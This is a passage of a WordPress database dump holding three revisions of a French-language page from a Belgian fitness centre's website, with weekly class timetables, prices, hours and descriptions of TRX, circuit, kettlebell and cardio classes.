5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:39:35', '2013-07-03 17:39:35', '', 11, 'http://www.crosstrainingcenter.be/?p=191', 0, 'revision', '', 0),
(192, 1, '2013-07-03 17:39:50', '2013-07-03 17:39:50', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:39:50', '2013-07-03 17:39:50', '', 11, 'http://www.crosstrainingcenter.be/?p=192', 0, 'revision', '', 0),
(193, 1, '2013-07-03 17:40:05', '2013-07-03 17:40:05', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:40:05', '2013-07-03 17:40:05', '', 11, 'http://www.crosstrainingcenter.be/?p=193', 0, 'revision', '', 0),
